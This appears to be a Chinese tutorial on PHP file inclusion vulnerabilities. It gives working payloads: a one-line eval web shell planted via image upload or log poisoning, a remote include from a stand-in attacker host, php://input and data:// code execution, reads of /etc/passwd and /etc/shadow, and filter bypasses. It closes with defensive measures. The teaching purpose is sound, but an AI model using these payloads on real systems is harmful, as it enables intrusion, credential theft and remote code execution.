文件包含漏洞从入门到精通
字数 1688 2025-08-20 18:17:07
文件包含漏洞从入门到精通
一、文件包含漏洞概述
1.1 漏洞定义
文件包含漏洞是一种常见的Web安全漏洞,由于开发人员为了提高代码复用性和模块化,将可重复使用的函数或代码段写入单个文件,在需要时直接调用这些文件。当开发人员未对用户输入的参数进行正确过滤和检查时,攻击者可以控制包含文件的参数值,从而访问敏感文件或执行恶意代码。
1.2 相关函数
PHP中常见的文件包含函数有:
include():包含并运行指定文件,文件不存在发出警告,脚本继续执行require():与include类似,但处理失败时报错,脚本终止include_once():与include类似,但确保文件只被包含一次require_once():与require相似,但确保文件只被包含一次
二、漏洞分类
2.1 本地文件包含(LFI - Local File Inclusion)
攻击者可以读取服务器上的任意文件,包括:
- 敏感配置文件
- 密码文件
- 日志文件等
2.2 远程文件包含(RFI - Remote File Inclusion)
攻击者可以访问远程服务器上的文件或者下载、执行恶意代码
三、本地文件包含漏洞利用
3.1 文件读取
通过包含不存在的文件测试,可能暴露绝对路径:
if( isset( $file ) )
include( $file );
else {
header( 'Location:?page=include.php' );
exit;
}
常见敏感文件路径:
/etc/passwd:存储用户账号信息/etc/shadow:存储用户密码的哈希值- Apache配置文件:
- CentOS:
/etc/httpd/conf/httpd.conf - Ubuntu:
/etc/apache2/apache2.conf
- CentOS:
- Apache日志文件:
- CentOS:
/var/log/httpd/access_log - Ubuntu:
/var/log/apache2/access.log
- CentOS:
- Nginx配置文件:
/etc/nginx/nginx.conf - Nginx日志文件:
/var/log/nginx/access.log
3.2 文件执行
通过上传包含PHP代码的文件并包含执行:
- 上传图片木马(如shell.jpg):
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[pass]);?>');?>
- 包含该文件执行PHP代码
- 使用蚁剑等工具连接生成的shell.php
3.3 配合日志文件getshell
- 访问不存在的路径,使请求被记录到日志
- 查看日志文件(如
/var/log/nginx/access.log) - 在User-Agent中插入一句话木马
- 包含日志文件执行代码
四、远程文件包含(RFI)利用
4.1 基本利用
直接包含远程服务器上的恶意PHP文件:
http://victim.com/vulnerabilities/fi/?page=http://attacker.com/malicious.php
4.2 搭建简易HTTP服务
使用Python快速搭建HTTP服务:
python -m http.server 8000
五、伪协议利用
5.1 file://
读取本地文件:
file://[文件的绝对路径和文件名]
5.2 php://filter
用于数据流筛选过滤,常用于读取文件内容:
php://filter/read=convert.base64-encode/resource=文件路径
示例:
http://victim.com/fi/?page=php://filter/read=convert.base64-encode/resource=/etc/passwd
5.3 php://input
访问请求的原始数据,可执行POST提交的PHP代码:
http://victim.com/fi/?page=php://input
POST数据:
<?php system('id');?>
5.4 data://
执行PHP代码:
data://text/plain,<?php phpinfo();?>
或Base64编码:
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+
5.5 zip:// & bzip2:// & zlib://
访问压缩文件中的子文件:
- 压缩phpinfo.txt为phpinfo.zip
- 重命名为phpinfo.jpg并上传
- 包含:
zip:///path/to/phpinfo.jpg%23phpinfo.txt
六、绕过技术
6.1 大小写绕过
当过滤关键词如"http://"时:
HtTp://www.baidu.com
6.2 双写绕过
当过滤关键词时:
hthttp://tp://www.baidu.com
6.3 伪协议绕过
当使用fnmatch函数检查参数开头时:
file:///etc/passwd
七、防御措施
- 避免使用用户输入作为文件包含参数
- 如需使用,应严格过滤输入:
- 检查包含文件是否在白名单中
- 过滤
../等目录遍历字符 - 禁用危险伪协议
- 设置
open_basedir限制文件访问范围 - 关闭不必要的PHP配置选项,如
allow_url_fopen和allow_url_include
八、总结
文件包含漏洞危害严重,可导致敏感信息泄露、系统命令执行等后果。开发人员应重视输入验证,安全人员测试时应全面考虑各种利用方式,包括本地文件包含、远程文件包含、各种伪协议利用以及可能的绕过技术。